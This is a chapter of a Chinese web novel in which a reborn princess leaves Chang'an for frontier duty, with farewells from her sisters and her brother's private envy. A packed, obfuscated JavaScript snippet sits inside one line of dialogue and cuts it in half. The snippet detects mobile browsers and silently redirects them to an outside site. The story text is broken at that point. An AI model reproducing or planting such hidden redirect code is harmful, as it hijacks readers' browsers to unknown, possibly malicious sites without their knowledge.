前来送行的人可真不少,要说为什么有这么多人,多亏了父皇送给她的一份“大礼”。
茶楼酒肆,她已经荣登长安城中热度最高的人。
“那个仙君不是说要进献不死之酒吗,公主当堂将酒灌入他的肚子中,再拿剑架到他脖子上,嘿嘿,给他来个进退两难。”
“多亏了公主啊,否则皇上就要被奸臣蒙蔽了。”
听众们咂咂嘴,武将的佩剑只是礼器,真没几个人敢当众拔剑,这可是大不敬之罪。
“所以呀,公主自请戍边一年赎罪了,皇上命令任全将军带领一千羽林军随侍左右。”
“皇上圣明!”
看来皇上对公主宠爱有佳,两千人的羽林军,一下子就送了一半。至此,人人都道邕阳公主殿下得了皇上倚重。
羽林军可不是普通的宫门护卫,这是本朝皇帝亲自设立的军队,一开始是选择阵亡将士的遗孤,精心抚养教授武艺。
后来朝臣贵族们一看,这羽林军既能成为皇帝的贴身护卫,也能快速升任青年军官。他们纷纷把自家的子弟们送过来,塞进羽林军里去,谁家没有几个年轻子侄呢。
这些小有身家的年轻人们,他们头戴铁质兜鍪,身披黑色玄甲,长戟、环首刀和弓弩样样不缺,他们的战马上还挂着毡毛马衣。就连他们的寒衣里面,填充的都是丝绸絮,那些边关的泥腿子们,如何能与他们想比!
他们骑在马上,与自己的家人、情人一一告别,长安城中的大姑娘小媳妇挤到城门口看他们,他们骄傲地抖了抖头上的鸮羽,这是他们羽林军的标识,不知道的还以为他们是打了胜仗归来的呢。
“章儿,这次连累你了,你在边地寒苦,阿姐没什么能送你的,给你做了貂皮和狐皮袍子个各一件,还有两双兔皮靴。”阿姐一边说着,一边命侍女放在后面的马车上。
“看来我这待遇比羊尧好。”她一脸促狭地笑容。
阿姐白了她一眼:“旁人如何能与妹妹相比。”
羊尧立在她身侧,此时人多,他不敢上前跟阿姐说话,这小子只拿一双含情脉脉的眼睛看着阿姐,阿姐瞥一眼他,他立刻傻笑着抓了抓头上的鹿皮帽子。
“四姐,我给你买了一串珍珠项链和一串珊瑚项链,你看。”五妹鄂珠公主凑上来说道。
“妹妹有心了。”
嘴上只能说着言不由衷的话,这礼物虽不廉价,但稍微了解她的人,就知道她不喜这些饰品。看着眼前小心讨好她的妹妹,她心里叹了一口气。
不管是前世和今生,她和这个妹妹都不太熟。
幼年时,她不喜欢飞扬跋扈的王夫人,顺便也不喜欢她的一双儿女,燕王和鄂珠公主。
可后来王夫人因她失势,她心里莫名对楚楚可怜的一双兄妹有了愧疚之心。
“四姐,你还在这练剑啊。”头上扎着两个角状的发髻的小姑娘来寻她。
“舅舅说要每天练剑,才能打好基础。妹妹,你想练剑吗?可以强身健体,我教你。”
“我不要学这个,会晒黑变壮的。”鄂珠公主摆摆手。
“姐姐,你腰上的玉佩好好看。”
“是吗,这是阿姐送给我的。”她将腰上的玉佩解下来,放在阳光下,散发出柔和的光芒。
“阿姐她几乎不送我东西,她没把我当妹妹吧,这么好的玉佩我都没见过。”小姑娘嘀咕道。
“你说什么呢,阿姐是我们的阿姐,”看着面前的小姑娘眼巴巴的看着她,她把玉推到鄂珠面前,“你拿着玩吧,我也是你的阿姐。”
鄂珠拿着玉佩欢天喜地地走了,鹿庭深吸一口气,蹲下来,握住她的肩膀:“殿下,以后不要再送给鄂珠公主东西了,前些日子您还给了她一支金钗和一个玉杯,之前的小物件我就不数了。”
“为什么,她不也是我妹妹。”
“她每次装作可怜的样子讨东西,讨完就走,可曾把殿下放在心上?不管是朋友还是亲人,绝无一方单独奉献的道理,她没有钱,可是连一支花也不送给殿下。再说了,这块独山玉佩,是长公主花了大价钱买来的,长公主要是知道你送给其他人了,肯定会不高兴的。”
鄂珠每次见她都会说一些“我没有”之类的话,时间长了,小小年纪的她第一次感觉到心累,看着鹿庭焦急的神色,她点了点头。
果不其然,阿姐有些生气,但并未训斥她,同样耐心教导她离鄂珠远一些。
日子一天天过去,她痴迷武功,深居简出很少在外社交。鄂珠却凭着一手好才艺,很快在京城的贵妇圈子中获得诸多赞誉。
前世最后几年,皇帝越发忌惮郑家,疏远他们兄妹二人,宠爱燕王和鄂珠公主,尤其是后者,那时阿姐已死,皇上大有立鄂珠为新的长公主之意。
昨日,鄂珠突然带着一名男子来见她,一见面便说了一个惊人的消息。
“四姐,我不瞒你,这个男人叫丁立人,是我的情人。”
一句话惊得她差点站起来,一向知书达理的妹妹居然有个情人?她不是和聂候世子早已定下婚约了吗?上次在燕王府的喜宴上还见他们眉目传情呢,没想到居然有一个情人。这个跪在地上的男子,身材高大英俊,只是偏要涂脂抹粉。
“他只是我庄子上的仆人,求四姐带他去战场建功立业,也好谋个一官半职。”
“他虽不是像羊侍中那样出身官宦,可我与他真心相爱,四姐你帮帮我吧。”
鄂珠说着说着眼泪便落下来了,她不喜欢看女人哭,况且五妹提到了羊尧,这意思不就是说,她们都是她的姐妹,你不能只帮羊尧,而不帮丁立人。
她答应了鄂珠,让丁立人在军中先当一个小队长。
萧停云听闻后撇了撇嘴:“现在燕王因魏家的事情失宠,不但被皇上赶回封地,还要负责边防一年的粮草辎重,这可是大出血,估计他对你恨之入骨,你还敢收他同胞妹妹的人。”
“这不已经收下了
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16523223|186306||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。”鄂珠差点跪下来求她,她只能收下这个人。
“收下也好,他是一颗明子。”
若是前世,她可能还会被眼前妹妹清纯的外表所迷惑,可她是死过一次之人,今生她想做很多事,必须硬起心肠。
好不容易应付完鄂珠,阿兄居然又冒出来一句惊人之语。
“章儿,为兄不如你。”阿兄的眼底是掩不住的黯然,声音中带着几分说不出的涩意。
“阿兄你说什么呢,我在边关保卫大夏,你在朝中协助父皇处理政务,都是为父皇分忧。”
文不问自嘲地笑了一下,说起来他是太子,可以帮父皇处理朝政,可实际上,他只是一个看客,在一旁观看父皇的雄才伟略,不能发一言,何谈协助父皇?
好不容易下定决心,他想劝父皇不要再宠信江嵩这个滥杀良臣的酷吏。哪成想江嵩先发制人,去父皇那里状告他的侍从逾矩,结果他受了一顿训斥。
想他的东宫和母后的椒房殿,少不得有父皇的眼线,他不敢有一丝一毫对父皇有不恭敬的地方,小心翼翼地当他的太子。说来可笑,他这也算太子吗?
父皇要把阿姐下嫁给栾山君的时候,他内心难过,栾山君不是个可靠之人,他劝阻父皇,才说了两句话,父皇就沉下脸色,他,当朝太子文不问,竟然不敢再说下去了!
他害怕了,怕父皇动怒,怕保不住自己的太子之位,母后也不让他再管此事,他居然真的对阿姐的再婚不闻不问了!
还好章儿有本事,戳穿了栾山君。在那次朝廷之会上,章儿大放光彩,他内心喜悦又欣慰,一来姐姐不用嫁给骗子,二来章儿竟成长得如此有勇有谋。
然而他的内心莫名滋生出一股嫉妒的焰火,妹妹既能带兵打仗,被父皇封为将军,还能令父皇改变决定,这是他从未做到过、一辈子都做不到的事情。那天下朝之后,他狠狠打了自己一个巴掌,熄灭了那离间的火苗。
城门外人山人海,她知道兄长有心事,只是不便多说。
眼看着日上三竿了,看热闹的人越来越多。
“传令,即刻启程。”
她发了命令,只有她带的几名亲随和羊尧即刻拨转马身,羽林军的人还在那依依惜别呢。战场外是如此,在战场上也不敢指望他们。
“众将听令,随殿下一起出发。”
“是,任将军。”
往北地去的路本就荒凉,入了冬更是难行。风越来越大,像刀子似的刮过脸颊,雪落下的时候,风卷着雪花飞舞,只觉天地间苍茫一片,骑在马上她有些看痴了。
“怎么了。”
“我打了几场胜仗,被封了个骁骑将军,原以为已经获得兵权了,现在想想,那军队都是父皇的军队。”她虽然是将军,只是皇帝的军队代理人。
“别着急,”他笑了笑,“这事情不是一朝一夕能完成的,你已经做得很好了。”
到了新秦中之后,还未着手治军,她却生病了。